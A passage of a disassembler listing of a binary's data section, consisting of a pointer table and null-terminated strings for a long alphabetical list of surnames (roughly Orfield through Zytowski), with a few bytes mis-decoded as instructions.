aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" ; --------------------------------------------------------------------------- and ah, ch inc edx add [esp+ebp*8], dl inc edx add [esp+ebp*8], cl inc edx add [esp+ebp*8], al inc edx add ah, bh jmp short loc_42EC09 ; --------------------------------------------------------------------------- align 4 dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042EBD4o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042EBD0o align 4 aZurn db 'Zurn',0 ; DATA XREF: ___:0042EBCCo align 4 aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042EBC8o aZoldak db 'Zoldak',0 align 4 dd 6272655Ah db 69h ; --------------------------------------------------------------------------- loc_42EC09: ; CODE XREF: ___:0042EBC5j outsb imul eax, [eax], 6167655Ah outsb jnb short $+2 add [edx+61h], bl outsb db 67h ja near ptr 0EC83h insb insb ; --------------------------------------------------------------------------- dd 0 aZahedi db 'Zahedi',0 align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042EBB0o aYu db 'Yu',0 ; DATA XREF: ___:0042EBACo align 4 aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042EBA8o align 10h aYoo db 'Yoo',0 ; DATA XREF: ___:0042EBA4o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042EBA0o align 4 aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042EB9Co align 4 aYesson db 'Yesson',0 ; DATA XREF: ___:0042EB98o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042EB94o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042EB90o align 4 aYates db 'Yates',0 ; DATA XREF: ___:0042EB8Co align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042EB88o aYankee db 'Yankee',0 ; DATA XREF: ___:0042EB84o align 4 aYamane db 'Yamane',0 ; DATA XREF: ___:0042EB80o align 4 aYacono db 'Yacono',0 ; DATA XREF: ___:0042EB7Co align 4 aVotey db 'Votey',0 ; DATA XREF: ___:0042EB78o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042EB74o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042EB70o align 4 aWoods db 'Woods',0 ; DATA XREF: ___:0042EB6Co align 4 aWooden db 'Wooden',0 ; DATA XREF: ___:0042EB68o align 4 aWoo db 'Woo',0 ; DATA XREF: ___:0042EB64o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042EB60o align 4 aWolk db 'Wolk',0 ; DATA XREF: ___:0042EB5Co align 4 aVoigt db 'Voigt',0 ; DATA XREF: ___:0042EB58o align 4 aViviani db 'Viviani',0 ; DATA XREF: ___:0042EB54o aVitali db 'Vitali',0 ; DATA XREF: ___:0042EB50o align 4 aWilson db 'Wilson',0 ; DATA XREF: ___:0042EB4Co align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042EB48o aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042EB44o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042EB40o align 10h aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042EB3Co align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042EB38o align 10h aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042EB34o aWilder db 'Wilder',0 ; DATA XREF: ___:0042EB30o align 10h aVignola db 'Vignola',0 ; DATA XREF: ___:0042EB2Co aViens db 'Viens',0 ; DATA XREF: ___:0042EB28o align 10h aWiener db 'Wiener',0 ; DATA XREF: ___:0042EB24o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042EB20o aViano db 'Viano',0 ; DATA XREF: ___:0042EB1Co align 4 aViana db 'Viana',0 ; DATA XREF: ___:0042EB18o align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042EB14o align 10h aWhitla db 'Whitla',0 ; DATA XREF: ___:0042EB10o align 4 aWhite db 'White',0 ; DATA XREF: ___:0042EB0Co align 10h aWhilton db 'Whilton',0 ; DATA XREF: ___:0042EB08o aWhately db 'Whately',0 ; DATA XREF: ___:0042EB04o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042EB00o align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042EAFCo aVerghese db 'Verghese',0 ; DATA XREF: ___:0042EAF8o align 4 aVenne db 'Venne',0 ; DATA XREF: ___:0042EAF4o align 4 aWengret db 'Wengret',0 ; DATA XREF: ___:0042EAF0o aWelsh db 'Welsh',0 ; DATA XREF: ___:0042EAECo align 4 aWelles db 'Welles',0 ; DATA XREF: ___:0042EAE8o align 4 aVelasquez db 'Velasquez',0 ; DATA XREF: ___:0042EAE4o align 4 aWeissman db 'Weissman',0 ; DATA XREF: ___:0042EAE0o align 4 aWeissbourd db 'Weissbourd',0 ; DATA XREF: ___:0042EADCo align 10h aWeinhaus db 'Weinhaus',0 ; DATA XREF: ___:0042EAD8o align 4 aWeingarten db 'Weingarten',0 ; DATA XREF: ___:0042EAD4o align 4 aWeighart db 'Weighart',0 ; DATA XREF: ___:0042EAD0o align 4 aWaugh db 'Waugh',0 ; DATA XREF: ___:0042EACCo align 4 aVasquez db 'Vasquez',0 ; DATA XREF: ___:0042EAC8o aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042EAC4o align 10h aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042EAC0o align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042EABCo align 4 aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042EAB8o align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042EAB4o aVanallen db 'vanAllen',0 ; DATA XREF: ___:0042EAB0o align 4 aWalter db 'Walter',0 ; DATA XREF: ___:0042EAACo align 4 aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042EAA8o align 10h aWales db 'Wales',0 ; DATA XREF: ___:0042EAA4o align 4 aValencia db 'Valencia',0 ; DATA XREF: ___:0042EAA0o align 4 aValberg db 'Valberg',0 ; DATA XREF: ___:0042EA9Co aWaite db 'Waite',0 ; DATA XREF: ___:0042EA98o align 4 aVacca db 'Vacca',0 ; DATA XREF: ___:0042EA94o align 4 aUzuner db 'Uzuner',0 ; DATA XREF: ___:0042EA90o align 4 aUsdan db 'Usdan',0 ; DATA XREF: ___:0042EA8Co align 4 aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: ___:0042EA88o align 4 aUrban db 'Urban',0 ; DATA XREF: ___:0042EA84o align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0042EA80o aUntermeyer db 'Untermeyer',0 ; DATA XREF: ___:0042EA7Co align 4 aUllman db 'Ullman',0 ; DATA XREF: ___:0042EA78o align 10h aTzamarias db 'Tzamarias',0 ; DATA XREF: ___:0042EA74o align 4 aTwells db 'Twells',0 ; DATA XREF: ___:0042EA70o align 4 aTuttle db 'Tuttle',0 ; DATA XREF: ___:0042EA6Co align 4 aTurek db 'Turek',0 ; DATA XREF: ___:0042EA68o align 4 aTurano db 'Turano',0 ; DATA XREF: ___:0042EA64o align 4 aTukan db 'Tukan',0 ; DATA XREF: ___:0042EA60o align 4 aTudge db 'Tudge',0 ; DATA XREF: ___:0042EA5Co align 4 aTuck db 'Tuck',0 ; DATA XREF: ___:0042EA58o align 4 aTsukurov db 'Tsukurov',0 ; DATA XREF: ___:0042EA54o align 10h aTsomides db 'Tsomides',0 ; DATA XREF: ___:0042EA50o align 4 aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0042EA4Co aTruss db 'Truss',0 ; DATA XREF: ___:0042EA48o align 4 aTroy db 'Troy',0 ; DATA XREF: ___:0042EA44o align 4 aTroiani db 'Troiani',0 ; DATA XREF: ___:0042EA40o aTringali db 'Tringali',0 ; DATA XREF: ___:0042EA3Co align 4 aTrewin db 'Trewin',0 ; DATA XREF: ___:0042EA38o align 10h aTrenga db 'Trenga',0 ; DATA XREF: ___:0042EA34o align 4 aTraebert db 'Traebert',0 ; DATA XREF: ___:0042EA30o align 4 aToye db 'Toye',0 ; DATA XREF: ___:0042EA2Co align 4 aTowler db 'Towler',0 ; DATA XREF: ___:0042EA28o align 4 aTorske db 'Torske',0 ; DATA XREF: ___:0042EA24o align 4 aTorresi db 'Torresi',0 ; DATA XREF: ___:0042EA20o aTopulos db 'Topulos',0 ; DATA XREF: ___:0042EA1Co aToomer db 'Toomer',0 ; DATA XREF: ___:0042EA18o align 4 aTomford db 'Tomford',0 ; DATA XREF: ___:0042EA14o aTolman db 'Tolman',0 ; DATA XREF: ___:0042EA10o align 4 aTolls db 'Tolls',0 ; DATA XREF: ___:0042EA0Co align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042EA08o align 4 aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042EA04o align 4 aTimmons db 'Timmons',0 ; DATA XREF: ___:0042EA00o aTill db 'Till',0 ; DATA XREF: ___:0042E9FCo align 4 aTierney db 'Tierney',0 ; DATA XREF: ___:0042E9F8o aThroop db 'Throop',0 ; DATA XREF: ___:0042E9F4o align 4 aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042E9F0o aThisted db 'Thisted',0 ; DATA XREF: ___:0042E9ECo aThibault db 'Thibault',0 ; DATA XREF: ___:0042E9E8o align 10h aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E9E4o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E9E0o align 4 aThan db 'Than',0 ; DATA XREF: ___:0042E9DCo align 10h aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E9D8o align 4 aTenney db 'Tenney',0 ; DATA XREF: ___:0042E9D4o align 4 aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E9D0o align 4 aTemes db 'Temes',0 ; DATA XREF: ___:0042E9CCo align 4 aTeague db 'Teague',0 ; DATA XREF: ___:0042E9C8o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E9C4o align 4 aTawn db 'Tawn',0 ; DATA XREF: ___:0042E9C0o align 10h aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E9BCo aTatar db 'Tatar',0 ; DATA XREF: ___:0042E9B8o align 10h aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E9B4o align 4 aTandler db 'Tandler',0 ; DATA XREF: ___:0042E9B0o aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E9ACo aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E9A8o align 4 aTai db 'Tai',0 ; DATA XREF: ___:0042E9A4o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E9A0o aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E99Co aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E998o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E994o align 4 aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E990o align 4 aSuo db 'Suo',0 ; DATA XREF: ___:0042E98Co aSumner db 'Sumner',0 ; DATA XREF: ___:0042E988o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E984o align 4 aStringer db 'Stringer',0 ; DATA XREF: ___:0042E980o align 10h aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E97Co aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E978o aStrange db 'Strange',0 ; DATA XREF: ___:0042E974o aStott db 'Stott',0 ; DATA XREF: ___:0042E970o align 10h aStorer db 'Storer',0 ; DATA XREF: ___:0042E96Co align 4 aStonich db 'Stonich',0 ; DATA XREF: ___:0042E968o aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E964o aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E960o align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0042E95Co align 4 aStock db 'Stock',0 ; DATA XREF: ___:0042E958o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E954o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E950o align 4 aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E94Co align 4 aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E948o aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E944o align 4 aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E940o aStefani db 'Stefani',0 ; DATA XREF: ___:0042E93Co aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E938o align 4 aStates db 'States',0 ; DATA XREF: ___:0042E934o align 10h aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E930o align 10h aStang db 'Stang',0 ; DATA XREF: ___:0042E92Co align 4 aStam db 'Stam',0 ; DATA XREF: ___:0042E928o align 10h aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E924o aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E920o align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E91Co aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E918o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E914o align 4 aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E910o align 10h aSperber db 'Sperber',0 ; DATA XREF: ___:0042E90Co aSpence db 'Spence',0 ; DATA XREF: ___:0042E908o align 10h aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E904o aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E900o align 4 aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E8FCo aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E8F8o aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E8F4o align 10h aSoule db 'Soule',0 ; DATA XREF: ___:0042E8F0o align 4 aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E8ECo align 10h aSottak db 'Sottak',0 ; DATA XREF: ___:0042E8E8o align 4 aSorg db 'Sorg',0 ; DATA XREF: ___:0042E8E4o align 10h aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E8E0o align 4 aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E8DCo align 4 aSomers db 'Somers',0 ; DATA XREF: ___:0042E8D8o align 10h aSolon db 'Solon',0 ; DATA XREF: ___:0042E8D4o align 4 aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E8D0o aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E8CCo align 4 aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E8C8o aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E8C4o align 4 aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E8C0o align 4 aSloan db 'Sloan',0 ; DATA XREF: ___:0042E8BCo align 4 aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E8B8o align 4 aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E8B4o align 4 aSkane db 'Skane',0 ; DATA XREF: ___:0042E8B0o align 4 aSites db 'Sites',0 ; DATA XREF: ___:0042E8ACo align 4 aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E8A8o aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E8A4o align 10h aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E8A0o align 4 aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E89Co align 4 aSigna db 'Signa',0 ; DATA XREF: ___:0042E898o align 10h aSigini db 'Sigini',0 ; DATA XREF: ___:0042E894o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E890o aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E88Co align 4 aShimon db 'Shimon',0 ; DATA XREF: ___:0042E888o align 10h aShibata db 'Shibata',0 ; DATA XREF: ___:0042E884o aShia db 'Shia',0 ; DATA XREF: ___:0042E880o align 10h aShesko db 'Shesko',0 ; DATA XREF: ___:0042E87Co align 4 aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E878o align 4 aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E874o align 10h aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E870o align 4 aSheats db 'Sheats',0 ; DATA XREF: ___:0042E86Co align 4 aShea db 'Shea',0 ; DATA XREF: ___:0042E868o align 4 aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E864o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E860o aShar db 'Shar',0 ; DATA XREF: ___:0042E85Co align 4 aShanley db 'Shanley',0 ; DATA XREF: ___:0042E858o aShankland db 'Shankland',0 ; DATA XREF: ___:0042E854o align 4 aShakis db 'Shakis',0 ; DATA XREF: ___:0042E850o align 4 aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E84Co align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E848o aSexton db 'Sexton',0 ; DATA XREF: ___:0042E844o align 4 aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E840o align 4 aSennett db 'Sennett',0 ; DATA XREF: ___:0042E83Co aSen db 'Sen',0 ; DATA XREF: ___:0042E838o aSelvage db 'Selvage',0 ; DATA XREF: 